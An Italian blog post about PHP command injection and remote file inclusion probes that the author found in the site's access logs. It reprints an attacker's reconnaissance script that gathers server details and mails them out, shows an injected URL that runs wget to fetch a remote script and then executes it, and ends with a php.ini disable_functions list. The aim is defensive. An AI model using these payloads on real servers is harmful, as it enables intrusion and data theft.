PhP exploit, occhio a quell’exec!

Posted on gennaio 14, 2008
Filed Under php, plugs, programmazione | Leave a Comment Visited 1068 Times |

E' da un po che noto nei log degli accessi al mio blog delle richieste molto simili, ecco un esempio:

</p><p>/test.php?page=http://rootscan.110mb.com/rootlab.jpg?: 1 Time(s)<br />/pagina.php?doc=http://www.usipime.com/adpics/response???: 2 Time(s)</p><p>

 

Incuriosito visito gli indirizzi ed ecco cosa spuntano fuori diversi tipi di script in bash o php, qualcosa tipo:

 

&nbsp;</p><div align="left">&lt;?echo &quot;ALBANIA&lt;br&gt;&quot;;$alb = @php_uname();<br />$alb2 = system(uptime);<br />$alb3 = system(id);<br />$alb4 = @getcwd();<br />$alb5 = getenv(&quot;SERVER_SOFTWARE&quot;);<br />$alb6 = phpversion();<br />$alb7 = $_SERVER[&#39;SERVER_NAME&#39;];<br />$alb8 = gethostbyname($SERVER_ADDR);<br />$alb9 = get_current_user();<br />$os = @PHP_OS;<br />echo &quot;os: $os&lt;br&gt;&quot;;<br />echo &quot;uname -a: $alb&lt;br&gt;&quot;;<br />echo &quot;uptime: $alb2&lt;br&gt;&quot;;<br />echo &quot;id: $alb3&lt;br&gt;&quot;;<br />echo &quot;pwd: $alb4&lt;br&gt;&quot;;<br />echo &quot;user: $alb9&lt;br&gt;&quot;;<br />echo &quot;phpv: $alb6&lt;br&gt;&quot;;<br />echo &quot;SoftWare: $alb5&lt;br&gt;&quot;;<br />echo &quot;ServerName: $alb7&lt;br&gt;&quot;;<br />echo &quot;ServerAddr: $alb8&lt;br&gt;&quot;;<br />echo &quot;PADDY&lt;br&gt;&quot;;<br />$to = &quot;XXXXXXX@XXXXX.XXX&quot;;$msg = &quot;http://&quot;.$_SERVER[&#39;SERVER_NAME&#39;].$_SERVER[&#39;REQUEST_URI&#39;];mail($to,&quot;Site Vuln&quot;,$msg);exit;?&gt;</div><p>

Ma che bug sfrutterebbe ? Cioe come viene eseguito sto simpatico script ? Php e' cosi buggoso ?  Vediamo un po…

Immaginiamo di avere tra le rige dei nostri script PHP qualcosa di questo tipo:

</p>&lt;? php<br />...<br />$par=$_GET[&#39;var1&#39;];<br />...<br />shell_exec(&quot;$cmd $par&quot;);<br />...?&gt;<p>

Normalmente utilizzeremmo lo script usando il comodo url: http://sito.bla.bla/script.php?var1=parametro

Ma, cosa succede se eseguiamo qualcosa di questo tipo?

</p><p>&quot;http://sito.bla.bla/script.php?var1=parametro;cd%20/tmp;</p><p>wget%20http://server.bla.bla/script_cattivello.sh;</p><p>chmod%20755%20script_cattivello.sh;./script_cattivello.sh&quot;</p><p>(l&#39;url va scritto tutto su 1 riga)&nbsp;</p><p>

La risposta viene spontanea, var1 prende il valore del parametro assegnato, ma subito dopo viene eseguito un cambio directory in tmp, viene scaricato uno script ad hoc ( script_cattivello.sh ), viene impostato come eseguibile ed infine eseguito.

Ovviamente il file sara' di proprieta' dell'utente www o www-data, insomma dell'utente che esegue apache ( o altro eventuale webserver), ma, almeno in questa fase, tali permessi sono piu che abbastanza per ficcare il naso dove non si deve!

Cosa si puo fare per evitare che questo accada ? 

Evitare l'utilizzo di certe funzioni, tipo shell_exec;

Impostare php.ini alcuni limiti, anche se queste limitazioni bloccano alcune funzioni della maggior parte dei cms come joomla , wordpress, horde etc…

&nbsp;</p><p>disable_functions = show_source, exec, shell_exec, system, popen, proc_open, proc_nice, ini_restore, passthru,dl</p><p>

 

Controllare sempre la lungezza dei parametri in ingresso nei nostri script, mai lasciare un get($var) senza un limite di dimensione.

Questa e' una regola di buona scrittura per qualsiasi applicazione e valida per qualsiasi linguaggio. E' il miglior modo per evitare problemi, bug, errori. 

 

 

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • LinkedIn
  • Technorati

No related posts.


Comments

Leave a Reply




Sponsor

Ottimizzato per firefox